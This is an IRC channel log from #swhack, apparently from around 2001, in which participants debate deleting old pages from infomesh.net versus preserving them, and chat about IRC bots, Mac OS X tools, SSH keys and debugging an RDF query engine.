a TCL enabled server, so it's not viable 01:08:46 <sbp> you're just lucky, you've got the server, the knowhow, and the money to do cool things 01:08:50 <sbp> I haven't :-) 01:09:10 <AaronSw> I don't really have the money -- just good friends ;-) 01:09:18 <sbp> :-) 01:11:15 <sbp> so that's my plan. I'm fed up with infomesh.net, so I plan to move it, update it, delete it, do whatever 01:11:35 <AaronSw> AaronSw has changed the topic to: "Memory Is Like A Wossname": An experiment in persistence 01:12:05 <AaronSw> Don't delete it! If you get really annoyed, bequeath it to me and all host it as an archive like TimBL keeps talking about. 01:12:23 <sbp> it was interesting to see your response. In all actuality, I don't think that the information is all that important 01:12:47 <AaronSw> Really? 01:12:48 <AaronSw> Heh, it was fun to play the part. 01:12:52 <sbp> I also think that information should be the authors to maintain 01:13:07 <AaronSw> Yeah, but this world is endowed with a lot of stupid authors. 01:13:13 <sbp> yeah, only about 1% of the data on infomesh.net is actually important 01:13:21 <sbp> yeah, I know. I run the club 01:13:40 <AaronSw> Heheh. Nah, you're better than most of 'em. It's really just the famous ones that're stupid. 01:13:40 <AaronSw> Like that interview with Dylan you pointed me to. 01:13:55 <sbp> er... famous server maintainers? 01:14:07 <AaronSw> No, famous creators. 01:14:10 <sbp> :-) 01:14:22 <AaronSw> * AaronSw plays "How To Disappear Completely" 01:14:34 <sbp> if you could only retrieve 20KB of data from your site, what would it be? think about it 01:14:48 <AaronSw> They're to emotionally attached (or detached) from their work to respect it. 01:14:52 <sbp> now, what if you could only *host* 20KB. The answer would probably be different 01:15:07 <AaronSw> Ugh, from my site? You're not going to bomb it, are you? 01:15:11 <sbp> famous people: they can do what they do, and I'll do what I do 01:15:19 <sbp> heh, bomb it 01:15:34 <sbp> no really: what would you keep for yourself, and keep for the world? 01:15:46 <AaronSw> I dunno, I have know way to judge. 01:15:51 <AaronSw> I can't even remember what's on my server. 01:15:54 <sbp> lol 01:16:12 <AaronSw> David McCusker explained it to me -- I don't think in words. 01:16:29 <AaronSw> I think is spatial relationships... pictures. 01:16:50 <sbp> yeah, sure, but if you were forced, you'd soon do it 01:17:01 <sbp> you'd just look through whatever files you had and grab 01:17:02 <AaronSw> The words are an inconsequential representation of the relationships 01:17:06 <AaronSw> so I soon forget the words. 01:17:14 <sbp> what if I gave you a minute? if you don't save anything, it's all gone 01:17:23 <AaronSw> I'd grab whatever I could. 01:17:32 <AaronSw> Making decisions would waste time. 01:17:34 <sbp> you only have 20KB for some reason 01:17:59 <sbp> anyway, you're just fucking with the point that I'm trying to make... 01:18:14 <sbp> that "joke" homepage was really all that I thought the world needs of information about me in the kind of /sbp/ space 01:18:24 <AaronSw> Well, I know that. 01:18:27 <sbp> in fact, it was much more 01:18:50 <AaronSw> But you're a dumbo and so you were wrong. 01:18:58 <sbp> really? how so? 01:19:03 <AaronSw> People just can't seem to be objective about themselves and their work. 01:19:20 <AaronSw> You're wrong in every way imaginable. 01:19:43 <sbp> well, I don't read or use any of the information on my site. My own site is useless to me! aaaargh! That's not how I wanted it at all 01:20:19 <AaronSw> Hmm... 01:20:19 <sbp> and it's very, very, rarely visited, ergo it is probably fairly useless to most people 01:20:26 <AaronSw> You think so? 01:20:34 <sbp> well, not all of it. I'm generalizing 01:20:37 <AaronSw> Perhaps today... but what about Semantic Web historians? 01:20:41 <sbp> 99% of the site is rubbish 01:20:52 <sbp> the Semantic Web stuff is useful: it's part of the 1% 01:21:01 <AaronSw> 30yrs in the future, that xhtml stuff will be very valuable to discerning the growth and change of the Semantic Web's top guy! 01:21:18 <sbp> that xhtml stuff was rubbish, and you know it 01:21:24 <AaronSw> I don't think so. 01:21:36 <sbp> it was garbage! 01:21:52 <AaronSw> Well it's not my fault you're blind *and* dumb! 01:21:57 <AaronSw> ;-) 01:22:18 <sbp> it really is garbage. In fact, it was stupid 01:22:32 <sbp> just bad material, derogatory. the server is better off without it 01:22:40 <sbp> and it's gone 01:22:41 <AaronSw> Do I have to get your mum to smack you again? 01:22:51 <sbp> blimey Aaron, just read it! 01:22:54 <AaronSw> Nah, I still have it. And I bet you do to. 01:23:18 <sbp> of course I still have it, but it really isn't on the server, except for /2000/xhtml/homer/ 01:24:12 <sbp> I mean, you even cited pieces above and laughed at them. And with due cause: they are laughable 01:24:29 <AaronSw> The people of the future have no need for XHTML humor? I think not! 01:24:36 <deltab> what xhtml stuff? 01:24:41 <sbp> it was hardly humor 01:24:44 <AaronSw> http://infomesh.net/2000/xhtml/ 01:24:50 <sbp> it was waaaaaaay to dry 01:25:00 <AaronSw> That's what made it funny! 01:25:53 <AaronSw> All information is useful information! 01:26:01 <AaronSw> You cannot judge what the future will want/need. 01:26:16 <AaronSw> You have no right to kill innocent bits. 01:26:37 <sbp> TS 01:26:40 <AaronSw> * AaronSw puts this at logicerror.com/information 01:26:45 <sbp> nooooo! 01:26:55 <sbp> I know you won't, 'cause it will upset me 01:27:09 <AaronSw> What will? 01:28:15 <AaronSw> Hmm, looks like logster always dies right on the day switchover -- a bug? 01:28:45 <sbp> er... I was thinking of something different :-) 01:29:07 <sbp> all information is useful information: no, it depends upon how it is being used 01:29:12 <AaronSw> What? The archives of /2000/xhtml/ ? 01:29:23 <sbp> pardon? 01:29:23 <AaronSw> what was the something different? 01:29:26 <sbp> yes 01:29:36 <AaronSw> what was the something different? 01:29:39 <AaronSw> The archives of /2000/xhtml/ ? 01:29:46 <sbp> yes! 01:29:55 <AaronSw> ok, just making sure. 01:29:58 <sbp> * sbp misread what as that 01:30:23 <AaronSw> Coming soon to a HavenCo server far away from you ;-) 01:30:32 <AaronSw> oh, good! google's cached it. 01:30:33 <sbp> heh, Stuart "reads what he wants to read" too. When he's reading something, he'll kind of guess what he's reading 01:30:53 <sbp> Google? Damn it 01:31:28 <AaronSw> /html/subs/ "The subdirectories of xhtml.waptechinfo.com are fast growing into a legendary status. They consist of programming junk that is highly future orientated and experimental. Really they are just a hacking playground where I (Sean B. Palmer) can upload some of my experiments to test on the WWW, but also they serve to actually try to influence the future of the Internet itself." 01:32:10 <AaronSw> Ugh, at least bring back http://infomesh.net/2000/xhtml/swr/ 01:32:13 <AaronSw> That was quite useful. 01:32:25 <AaronSw> And I cited it! 01:32:30 <sbp> http://infomesh.net/swr/ 01:32:38 <sbp> I moved it ages ago! 01:32:50 <AaronSw> Well put a redirect in! 01:32:55 <sbp> O.K. 01:34:02 <sbp> done 01:34:16 <AaronSw> tx 01:34:35 <sbp> - /html/subs/: stop citing stuff! please? 01:34:39 <AaronSw> "Ideas for XHTML 2.0" is quite good. 01:34:47 <AaronSw> "Some Ideas For Review By The HTML WG For XHTML 2.0 01:34:47 <AaronSw> " 01:35:01 <sbp> * sbp cries 01:35:02 <AaronSw> Well, I'll just copy the whole page in, shouldn't I. 01:35:10 <AaronSw> Oh, I better copy the HTML source in. 01:35:27 <AaronSw> You know, I wouldn't want to spam the channel with it -- I'll email it to www-archive 01:35:31 <sbp> I can threaten you with deleting huge chunks of the server 01:35:42 <AaronSw> * AaronSw laughs hysterically! 01:35:55 <sbp> I will do it. It was a mistake for me to publish that information 01:36:03 <sbp> now who's going insane? 01:36:03 <AaronSw> I'm just kidding. 01:36:23 <sbp> (add smileys liberally at both ends) 01:36:42 <sbp> but I do want you to stop citing stuff... 01:37:47 <AaronSw> Hmm, this is good fodder for xWebL: 01:37:51 <AaronSw> "eXtended Structural Markup Language 1.0 01:37:52 <AaronSw> (An eXtensible HyperText Markup Language Family)" 01:37:57 <AaronSw> - http://www.google.com/search?q=cache:http://infomesh.net/2000/xhtml/xsml/ 01:38:02 <AaronSw> Get it while it's hot! 01:38:14 <AaronSw> :-) 01:38:22 <sbp> that was quite a good demonstration of m12n, actually 01:38:52 <AaronSw> Well, I think I've saved all of it now. 01:39:39 <AaronSw> Heh, blanu.net: "The Enterprise Portal for the 5 or so people that care what I'm doing." 01:39:50 <AaronSw> People really underestimate themselves. 01:40:05 <AaronSw> Except for Bush, who misunderestimates himself. ;-) 01:44:03 <AaronSw> Sean? 01:44:23 <sbp> yes? 01:44:42 <AaronSw> This silence is bad. What are you doing now? 01:45:24 <sbp> ahem... 01:45:31 <AaronSw> s/doing/deleting/ 01:46:29 <sbp> I'm trying to work out how to delete the whole thing. it's baffling me now 01:46:40 <AaronSw> * AaronSw smacks sbp back and forth! 01:46:52 <AaronSw> Quick, give me FTP access 01:46:59 <AaronSw> You need an executor. 01:48:20 <sbp> * sbp wonders what the old program he used is 01:50:00 <AaronSw> * AaronSw is a bit worried that the Federal Consumer Information Center was bought by MetLife 01:56:47 <sbp> right, here we go now... 01:57:29 <AaronSw> Noooooooo! 01:57:38 <AaronSw> Noooooooooooooooooooooooooooooooooooooo! 01:57:47 <sbp> you don't even know what I'm doing! 01:58:02 <sbp> I'm just downloading a decent FTP client 01:58:20 <AaronSw> Hmmph, it must be for something evil. 01:58:31 <sbp> to FTP thing 01:58:36 <sbp> s/thing/things 02:00:00 <AaronSw> Jakob Nielsen: """Historical note: I first used the term "flash crowd" as relating to the Web to refer to the overloading of the webserver for the 1994 Winter Olympics in Lillehammer. I borrowed the phrase from a science fiction story by Larry Niven that referred to the crowding that would happen if the world had Star Trek-type transporters and curious people could instantaneously beam into hot spots; the Web is experiencing this phenomenon virt 02:00:05 <AaronSw> Sounds like a neat story. 02:00:47 <AaronSw> Heh: "When a Linux guy says that MS is less-than-fully-evil, you gotta pay attention. " 02:00:52 <AaronSw> From http://useit.com/hotlist/spotlight.html 02:01:02 <ZeroBLANK> ZeroBLANK has joined #swhack 02:01:16 <ZeroBLANK> ZeroBLANK has left #swhack 02:04:54 <sbp> * sbp is very fed up 02:05:14 <sbp> I can't delete infomesh.net! no matter how hard I try. I'll have to ask the server guys how to do it 02:05:53 <AaronSw> Grr, perhaps it's trying to tell you something, dolt! 02:06:23 <sbp> it's trying to say, "contact the server guys and ask them how to do it" 02:06:38 <AaronSw> No it's saying, "give up, you jerk". 02:06:46 <AaronSw> The server guys will probably say that too. 02:07:01 <sbp> nah, they'll tell me how to do it 02:12:20 <sbp> it's weird, all this time I've been worried that my site isn't persistent 02:12:27 <sbp> and now I can't delete it! great! 02:12:32 <AaronSw> * AaronSw replaces the ?s in Blogspace and *s. 02:12:38 <AaronSw> s/and/with/ 02:12:43 <sbp> ? 02:12:48 <AaronSw> See it is persistent after all. 02:12:59 <sbp> pardon? 02:13:15 <AaronSw> "Some folks are big into Amaya? for writing hypertext (others can't stand it), but TimBL still wants an intuitive hypertext editor?." 02:13:17 <AaronSw> becomes 02:13:26 <AaronSw> "Some folks are big into Amaya* for writing hypertext (others can't stand it), but TimBL still wants an intuitive hypertext editor*. 02:13:32 <sbp> ah, that's better 02:13:45 <sbp> yeah CopyingWikiIsntCool 02:13:55 <AaronSw> heh 02:13:57 <sbp> :-) 02:14:10 <AaronSw> Hmm, it didn't work... 02:14:31 <sbp> you've broken a link on http://logicerror.com/hypertext BTW 02:15:07 <AaronSw> How so? 02:15:21 <AaronSw> content-centered? 02:16:14 <sbp> I live Jorn's stuff 02:16:21 <sbp> yeah, it has no " at the end 02:16:43 <AaronSw> You live it? 02:16:51 <sbp> er... like 02:16:54 <AaronSw> Mark Bernstein thinks he's insane. 02:17:20 <sbp> well, he's a crud designer, but so are Joe Clark and Jackob Neilsen 02:17:42 <sbp> thinks that Mark Bernstein is insane? 02:18:23 <AaronSw> No, Mark thinks Jorn is. see http://markbernstein.org/ 02:20:34 <sbp> heh! maybe he's right 02:20:43 <sbp> but he seems to have some good design tips 02:21:30 <AaronSw> That's true. 02:21:30 <AaronSw> I think all cool/interesting people are insane. 02:22:14 <sbp> * sbp is glad for once that he's neither cool nor intersting 02:22:30 <AaronSw> Sure you are -- and if today has proved anything it's that you're insane. ;-) 02:23:13 <sbp> blargh 02:23:32 <sbp> I just want to delete infomesh.net and starty afresh on a new site! What's wrong with that? :-) 02:23:39 <sbp> s/starty/start 02:23:52 <AaronSw> You can start afresh but you don't need to delete old stuff. 02:27:13 <sbp> well, what if I want to move some of the old stuff? 02:27:20 <AaronSw> Why would you? 02:27:42 <sbp> better organization 02:28:46 <AaronSw> But I thought you wanted to start afresh. 02:28:55 <sbp> and anyway, I don't like the old stuff. I want to purge it! please let me delete it... please? 02:29:02 <sbp> just some of it 02:29:14 <sbp> I'll keep the good bits! 02:29:35 <AaronSw> No! 02:29:44 <AaronSw> Someone has to keep the voice of reason around here. 02:29:58 <sbp> I want to refactor infomesh.net! 02:37:30 <AaronSw> So do it in a date-space! 02:37:36 <AaronSw> and don't change any of the rest of it. 02:37:44 <AaronSw> say, infomesh.net/2.0/ or something 02:37:51 <sbp> lol 02:38:14 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, after the usual splits. Thanks for your patience. 02:38:25 <sbp> but I have the right to do what I want with my own information, surely? I'm basically just updating it. Where do you draw the line? 02:38:38 <ChanServ> ChanServ has changed the topic to: 02:39:26 <AaronSw> Well, when the average user doesn't get what they're looking for, of course. 02:39:48 <AaronSw> AaronSw has changed the topic to: "Memory Is Like A Whatchamacallit": An experiment in persistence 02:43:14 <sbp> Gotta run 02:43:18 <AaronSw> bye 02:43:27 <sbp> c'ya, thanks for chatting 02:43:29 <sbp> sbp has quit 02:43:38 <AaronSw> Thank you for not deleting your site! 03:01:44 <BenSw> BenSw has joined #swhack 03:02:26 <BenSw> Aaron 03:02:40 <BenSw> where would be a howto on making an Irc bot/ 03:02:55 <AaronSw> In what language? 03:03:04 <BenSw> come on aaron 03:03:11 <BenSw> english 03:03:13 <AaronSw> No, I mean what programming language. 03:03:18 <BenSw> python 03:04:03 <AaronSw> Some good stuff at: http://www.google.com/search?hl=en&q=python+irc+bot 03:05:16 <BenSw> shuld i choose dagny? 03:05:31 <AaronSw> Nah, it's not async IO. 03:05:40 <BenSw> huh? 03:05:55 <AaronSw> Never mind. 03:05:58 <AaronSw> Dan Connolly has some good stuff at: http://dev.w3.org/cvsweb/2000/scribe-bot/ 03:06:21 <BenSw> would this be a howto? 03:06:22 <AaronSw> http://dev.w3.org/cvsweb/2000/scribe-bot/ircAsync.py?rev=1.8&content-type=text/x-cvsweb-markup is pretty good. 03:06:35 <AaronSw> I don't think you'll find much in the way of howtos 03:06:49 <AaronSw> AaronSw has left #swhack 03:06:55 <AaronSw> AaronSw has joined #swhack 03:08:06 <BenSw> will you help me make one? 03:08:55 <AaronSw> Sure. 03:09:26 <BenSw> whois deltab? 03:09:49 <AaronSw> *** deltab is deltab@mewtwo.espnow.com (Daniel Biddle) 03:10:07 <BenSw> ahh so he isn't a bot 03:10:51 <AaronSw> No. 03:11:02 <AaronSw> He's ESP's sysadmin. 03:11:15 <BenSw> ahh 03:11:29 <deltab> heh, thanks 03:11:40 <AaronSw> :-) 03:12:52 <BenSw> Aaron... can you go to my imac and get snak and put me online? 03:15:09 <BenSw> Aaron? 03:15:18 <AaronSw> Oh, you mean download Snak? 03:15:38 <AaronSw> BenSw? 03:15:56 <BenSw> yes 03:16:04 <AaronSw> ... 03:16:26 <BenSw> why is that a problem>?? 03:17:12 <AaronSw> It's downloading. 03:18:42 <BenSw> thanks 03:20:13 <BenSw> BenSw has quit 03:27:55 <AaronSw> http://www2.linuxjournal.com/articles/culture/0027.html 03:28:11 <AaronSw> """ But wait, is Freenet real time? Is it fast enough to play a satisfying game of anonymous Quake on top of it? No, it's about as fast as e-mail or a heavily loaded web server, depending on the weather. Remember the part about us being crazy and not getting paid. """ 03:28:21 <AaronSw> I think he might be exagerating the speed just a bit. 03:29:27 <BenSW> BenSW has joined #swhack 03:32:10 <BenSW> Aaron when can we start on IRCRPG? 03:32:19 <AaronSw> You can start whenever you want. 03:33:04 <BenSW> haven't you already made a bot python? 03:33:21 <AaronSw> Huh? 03:33:41 <BenSW> have you made an irc bot in python? 03:34:44 <AaronSw> I've worked on one, yes. 03:35:04 <BenSW> come over here and look at my snak interface 03:46:54 <AaronSw> Heh: "Friends don't let friends do RPC" 03:48:11 <AaronSw> Javaspaces on the Web: http://lists.w3.org/Archives/Public/xml-dist-app/2000Mar/0055.html 03:48:28 <AaronSw> And TupleSpaces 03:48:47 <AaronSw> From Danbri, no less! 04:08:45 <BenSW> BenSW has quit 05:00:21 <AaronSw> Whee! 05:00:35 <AaronSw> I'm trying this voice thingy to see if I can highlight logging in the channel. 05:00:57 <AaronSw> The other thing to do is give them names like *logster* so they sort to the top of the user list. 05:02:24 <AaronSw> -- 05:02:32 <AaronSw> I hate going to sleep. Maybe I should stop doing it. 05:02:41 <AaronSw> On the other hand, often, I love going to sleep. Odd. 05:03:05 <AaronSw> While we're on the subject of persistence, I wonder what folks years from now will think of this comment. 11:14:56 <lilo> [GlobalNotice] Hi, all. Services will be back up in a moment, after the usual splits. Please bear with us. Thanks. 11:15:31 <ChanServ> ChanServ has changed the topic to: 13:06:47 <AaronSw> AaronSw has changed the topic to: Ehm, uh, well... I don't remember. 13:22:32 <sbp> sbp has joined #swhack 13:23:02 <sbp> oh no, I deleted stuff at infomesh.net!!! aaargh! what was I doing? 13:23:07 <sbp> Just kidding... 13:24:14 <AaronSw> Hahaha. 13:24:39 <sbp> "I'm fed up with infomesh.net" - I should just make it clear that I'm fed up with the way that I've arranged the datya, not with infomesh.net itself, which is a really cool domain/idea 13:24:42 <sbp> Hi Aaron 13:24:49 <AaronSw> Hello 13:25:20 <AaronSw> infomesh.net is a cool name -- Maybe I should call my big mesh idea the infomesh... 13:25:27 <sbp> * sbp is actually just archiving another site which went down 13:25:31 <AaronSw> I'd have to borrow your domain to host the website though. 13:25:44 <AaronSw> Heh, this is your punishment for your sins! 13:25:46 <sbp> Heh, "borrow" 13:25:46 <AaronSw> What domain> 13:25:48 <AaronSw> What domain? 13:25:55 <AaronSw> * AaronSw hunts for Ethernet cable 13:25:58 <sbp> not a domain... a site 13:26:31 <sbp> a Spooklight site. It was one of the pioneers of the subject, and the company which hosted the site has removed it 13:26:45 <sbp> (it's removed all the sites there) 13:26:51 <AaronSw> Ouch. 13:26:57 <sbp> I'm not sure if it's temoporary; I don't think it is 13:27:29 <AaronSw> See, you never know about these sites -- their creator might go on a mad rampage and start deleting stuff. 13:27:50 <AaronSw> I was thinking for my [Infomesh] project -- we could say that it doesn't have a name... but we do have a T-Shirt! 13:27:55 <sbp> Heh, yeah 13:27:59 <AaronSw> > Well what does the T-Shirt say? 13:28:11 <AaronSw> It's blank! You write in the name when we decide. 13:28:26 <sbp> what are you talking about? 13:28:37 <sbp> (plaintive) 13:29:10 <AaronSw> The T-shirt for my project. 13:29:15 <sbp> lol: 13:29:16 <sbp> [[[ 13:29:17 <sbp> 03:02:55 <AaronSw> In what language? 13:29:17 <sbp> 03:03:04 <BenSw> come on aaron 13:29:17 <sbp> 03:03:11 <BenSw> english 13:29:18 <sbp> ]]] 13:29:22 <sbp> what project is that? 13:29:39 <AaronSw> The one with the meshy thing that transports data between places using triples. 13:30:04 <AaronSw> I hate how when you drag windows, it doesn't make them any closer to stuff in the physical world. 13:31:03 <sbp> er... O.K. 13:31:17 <AaronSw> Don't you remember about my project? 13:31:28 <AaronSw> I sent a letter to www-archive about it. 13:34:22 <sbp> yeah, I rememeber 13:34:28 <sbp> but you haven't documented much about it 13:34:44 <AaronSw> That's why its important that we have a T-Shirt. 13:34:49 <AaronSw> So it's not total vaporware. 13:34:51 <sbp> lol! 13:34:55 <sbp> Ugh 13:34:57 <sbp> Gotta run 13:35:05 <AaronSw> C'ya 13:35:18 <AaronSw> * AaronSw curses stupid PDF software 13:35:39 <AaronSw> When I click print on page 7 of a 400 page document, I just want you to print two copies of page 7! 13:35:45 <AaronSw> Not the whole document! 13:37:57 <sbp> sbp has quit 13:53:12 <AaronSw> "I find this paragraph more convincing now than I did last week." writes Jeremy Carroll about a paragraph I wrote this morning. 15:36:38 <irc.openprojects.net> Disconnected from irc.openprojects.net (ERROR :Closing Link: logster[xcdfddb76.ip.ggn.net] by forward.openprojects.net (Ping timeout for logster[xcdfddb76.ip.ggn.net])) 15:37:05 <logster> logster has joined #swhack 15:37:05 <asimov.openprojects.net> topic is: Ehm, uh, well... I don't remember. 15:37:05 <asimov.openprojects.net> Users on #swhack: logster deltab AaronSw 17:54:07 <logster> logster has joined #swhack 17:54:07 <asimov.openprojects.net> topic is: Ehm, uh, well... I don't remember. 17:54:07 <asimov.openprojects.net> Users on #swhack: logster jrn deltab AaronSw 17:54:14 <AaronSw> Oh, the trees are so beautiful this time of year. I just want to sit outside and watch them forever. 19:05:03 <sbp> sbp has joined #swhack 19:08:55 <sbp> sbp has quit 19:09:05 <AaronSw> hello; goodbye 19:14:15 <sbp> sbp has joined #swhack 19:17:40 <AaronSw> wb 19:17:41 <sbp> sbp has quit 19:17:45 <AaronSw> bye, bye 19:18:47 <sbp> sbp has joined #swhack 19:26:46 <sbp> Yo, Aaron, what chat client are you using? Does it work with older macs? 19:27:02 <AaronSw> Yep -- Snak - www.snak.com 19:27:28 <sbp> neat. I'm trying to find one for Stu 19:28:06 <AaronSw> Ah, cool. 19:28:26 <AaronSw> It's one of the better ones, for sure. 19:28:35 <sbp> easy to install, etc.? 19:29:00 <AaronSw> Yep -- Mac programs don't even have installers. 19:29:06 <AaronSw> You just drag them to your hard drive. 19:29:18 <AaronSw> And it walks you thru setting it up. 19:31:16 <sbp> sbp has quit 19:39:39 <AaronSw> Note to self: Success of DAML project points to flaws in W3C. 19:48:46 <sbp> sbp has joined #swhack 19:49:58 <AaronSw> wb 19:50:15 <sbp> ty 19:50:35 <AaronSw> np 19:53:39 <AaronSw> Weird... this again: 19:53:44 <AaronSw> * Target left UnderNet. Failed to deliver: [...] 19:55:35 <sbp> on your email? eek 19:56:27 <AaronSw> Eh? No that was on my IRC! 19:56:40 <sbp> weird 19:57:24 <AaronSw> * AaronSw gets spam for an adult "forums/massage board" 20:04:55 <AaronSw> (sic) 20:05:01 <AaronSw> * AaronSw puts on "Abbey Road" side 2 20:05:10 <sbp> heh: "side 2" 20:05:38 <AaronSw> What? It's much better. 20:05:52 <sbp> no, I mean that CDs don't have sides! 20:06:03 <AaronSw> The record, stupid. 20:06:08 <AaronSw> :-) 20:06:14 <sbp> I know :-) Just seems weird 20:06:17 <AaronSw> With the new record player. 20:07:50 <AaronSw> I need to figure out how to use it... I'm still a newbie and keep buggering it all up. 20:09:41 <sbp> lol! Stop scratching those records! 20:10:30 <AaronSw> And then I forgot to switch it from 45 to 33... it was like "I don't remember this song being this fast!" 20:11:14 <AaronSw> I like these plastic 45s much better! You can eat them and they still work! 20:11:33 <AaronSw> Seriously, they have big bites taken out of the side. 20:13:22 <Morbus> Morbus has joined #swhack 20:13:37 <AaronSw> The way songs flow on Abbey Road is so beautiful. 20:13:39 <sbp> lol 20:13:43 <AaronSw> Hi Morbus 20:13:51 <sbp> Abbey Road: absolutely 20:14:02 <Morbus> hey there 20:14:07 <sbp> well, it's the old music hall medly, isn't it? 20:14:16 <Morbus> well, holy crap, the locate command finally works on 10.1 20:14:18 <AaronSw> music hall medley? 20:14:23 <AaronSw> You don't notice that flowage with MP3s or a CD. 20:14:28 <AaronSw> locate works?! 20:14:35 <AaronSw> woohoo! 20:14:39 <sbp> yeah, sure. That's where Paul picked up his bass influence from 20:14:39 <Morbus> it just did on my machine :) 20:14:43 <Morbus> first time. 20:14:51 <Morbus> never thought id' be so happy tohave a menial command work :) 20:14:54 <Morbus> i use that damn thing all the time 20:15:10 <AaronSw> me too! even when it doesn't work. 20:15:25 <Morbus> hehe - yeah, just habit 20:15:38 <AaronSw> i kept typing locate stuff and then it took me a few minutes each time to realize it was broken 20:15:45 <Morbus> :) 20:15:47 <AaronSw> of course it's practically useless on my machinesince all it brings up is cacher entries ;) 20:16:49 <Morbus> dammit 20:17:00 <Morbus> i'm tyrign to change a passphrase on an ssh key and it gives me a bus error 20:17:30 <AaronSw> Yeah, i've been getting that with "open" a bit 20:18:07 <Morbus> well, that's annoying. i have no clue how to use ssh-agent 20:19:13 <AaronSw> Heh: """The Chart of the Flops exists to admire and celebrate the achievements of those musicians who have gone so deep into the realms of musical bizarritude that the rest of the universe can no longer see them. The first (and, to date, only) flop decade ran from 1991 to 2000.""" 20:19:15 <AaronSw> - http://www.worldofyak.com/flops/ 20:23:57 <Morbus> goddamit 20:24:58 <sbp> * sbp has been debugging SWIPT.query 20:25:50 <sbp> it's been doing some weird little things. there was like one simple bug, but when I fixed it, three others popped up... when I fixed each one of them, three others would pop up, and now there are hundreds of bugs 20:26:05 <Morbus> so unfix that first bug and ship it 20:26:17 <sbp> I already did that! 20:26:32 <Morbus> and the other bugs are still there? 20:26:57 <sbp> I have the old version, which is online, and the new better running but with hundreds of bugs version 20:28:11 <Morbus> hey, aaaron, you know what tsch file i throw startup items in? 20:28:24 <AaronSw> Nah, i don't use tcsh 20:28:27 <AaronSw> bash, baby! 20:28:37 <Morbus> yah, same here, i just haven't installed it. 20:28:49 <Morbus> i know where to throw my environment but not startup 20:28:53 <AaronSw> You haven't installed bash? 20:28:56 <Morbus> nope 20:29:14 <AaronSw> Do you have fink installed? 20:29:20 <Morbus> nope 20:29:26 <AaronSw> Oh, come on! Well get fink! 20:29:31 <AaronSw> Right away 20:29:34 <Morbus> hehehe... look you. 20:31:17 <Morbus> dammit. this is annoying. i cna't change my passprhase, and i can't figure out ssh-agent. 20:34:12 <Morbus> about 1000 downloads of amphetadesk shortly after the new version. not so bad 20:35:04 <AaronSw> Cool. 20:35:13 <Morbus> any new dev on peerkat? 20:35:43 <AaronSw> Yeah, some -- we got a new developer who's fixed a bunch of stuff. 20:35:54 <sbp> Hmm... for some reason, it's clearing self.qquads 20:36:09 <Morbus> oh, good, good. 20:36:44 <AaronSw> There's a posting on wmf.editthispage.com that explains how to use ssh-agent 20:36:48 <AaronSw> it's really complicated 20:36:54 <Morbus> yaeh, thats what i thought 20:37:00 <Morbus> i'm just generating a new passkey. ;) 20:37:11 <AaronSw> Oh, in case you forgot: Get fink now! 20:37:20 <AaronSw> xfree86-rootless rocks! 20:37:39 <AaronSw> All your favorite XWindows programs are back! :-) 20:38:06 <Morbus> heh. i don't use the gui all that much on linux. cli on,ly 20:38:15 <Morbus> i've heard of fink, but don't have much time to do much with it 20:38:28 <sbp> weird: self.qquads shouldn't be modified!!! 20:39:28 <AaronSw> you don't need to do anything with fink -- that's what's so great. you just type fink install bash and hit return. 20:39:37 <AaronSw> and come back in an hour and it's installed. 20:39:48 <Morbus> fink install lynx? 20:40:05 <AaronSw> yep 20:40:05 <AaronSw> and links 20:40:08 <AaronSw> and lynx-ssl 20:40:08 <Morbus> cool 20:40:28 <AaronSw> and to install it it's like one command 20:42:16 <AaronSw> fink install wget 20:45:52 <sbp> ah, of course: I should have made a slice copy of "quad"! Aha! 20:46:02 <sbp> and I think it works now... so much debugging data to clear up... 20:46:34 <Morbus> Morbus has quit 20:46:38 <AaronSw> * AaronSw wonders if he wants to start messing with query stuff 20:46:59 <sbp> hooray, it's worked!!! 20:47:31 <AaronSw> Cool! 20:47:33 <AaronSw> How do you express queries? 20:48:05 <sbp> this is the output I got:- 20:48:16 <sbp> (well, a small part of it) 20:48:17 <sbp> { 20:48:17 <sbp> _:statement = _:s3 . 20:48:17 <sbp> _:subject = <http://example.org/2001-07/myns#MyOtherPage> . 20:48:17 <sbp> _:result = <http://example.org/2001-07/myns#H1Test> . 20:48:17 <sbp> _:testdesc = "checking HTML4 dtd content model: header 1" . 20:48:19 <sbp> _:bla = _:s0 . 20:48:21 <sbp> _:repair = <http://w3.org/tr/html4#h1> . 20:48:23 <sbp> _:date = "2001-03-18" . 20:48:25 <sbp> } a rdfs:Resource . 20:49:05 <sbp> this is so cool! It works really well now I fixed it 20:49:22 <AaronSw> Why do you return it in a context? 20:49:25 <AaronSw> That's awesome. 20:49:54 <sbp> in a context: because the variables are in their own kinda context. Actually, the result is bogus: I need to fix it 20:50:02 <sbp> it should use universals for a start 20:50:20 <sbp> but that's all just output crud: the cool thing is that the engine works now 20:51:59 <AaronSw> So how do you do query? just running thru triples to see if they match? 20:52:36 <sbp> if only it were that simple! 20:52:50 <sbp> you have two stores, one for the query quads, and one for the file quads 20:53:03 <sbp> then you have a list of universal variables: with labels and value 20:53:26 <sbp> scrape all of the universal variables out of the query quads, and set them all to an empty value (which later gets filled in) 20:53:56 <sbp> then, for each quad in the query quads, gague which pattern of variables needs to be filled in, and go to the appropriate function 20:54:32 <sbp> match each triple in the file quads store against the pattern, and if you find a term that matches a variable, checjk to see if it's still empty in the vars list 20:54:51 <sbp> if so, put the value in there, and move the quad from the file store to a results store 20:55:18 <sbp> do so until all of the query quads are satisfied, output, and run through until there's nothing left to match 20:55:38 <sbp> that's the basic jist of it... there's a lot of weird hacking in between to glue it all together 20:55:47 <sbp> a lot of conversion function to save space and so on 20:56:08 <AaronSw> * AaronSw reads several times to try and make sense of it 20:56:51 <AaronSw> What if there are multiple matches? 20:56:53 <sbp> I'll go through it again later if you want me to 20:56:59 <sbp> for now, I have to run: Frasier! 20:57:01 <sbp> sorry... 20:57:04 <sbp> c'ya! 20:57:04 <AaronSw> No, that's OK -- I think i've got it now. 20:57:05 <AaronSw> thanks 20:57:07 <AaronSw> c'ya 20:57:07 <sbp> :-) 20:57:26 <AaronSw> You should take the None copout way ;) 20:58:21 <AaronSw> Hmm, you could build what you're doing out of None-queries -- just see what triples satisfy all queries, I think. 20:58:35 <AaronSw> I'm not sure if that'd be faster/simpler. 21:00:08 <sbp> sbp has quit 21:25:15 <Morbus> Morbus has joined #swhack 21:25:41 <AaronSw> * AaronSw browses http://fink.sf.net/ 21:26:07 <Morbus> aaron, you know much about cvs? 21:26:15 <AaronSw> enough to use it 21:26:31 <Morbus> know how to delete directories from the repository? 21:26:42 <AaronSw> yeah, you use rm 21:26:49 <AaronSw> On SourceForge? 21:26:52 <Morbus> yeah... 21:26:54 <AaronSw> 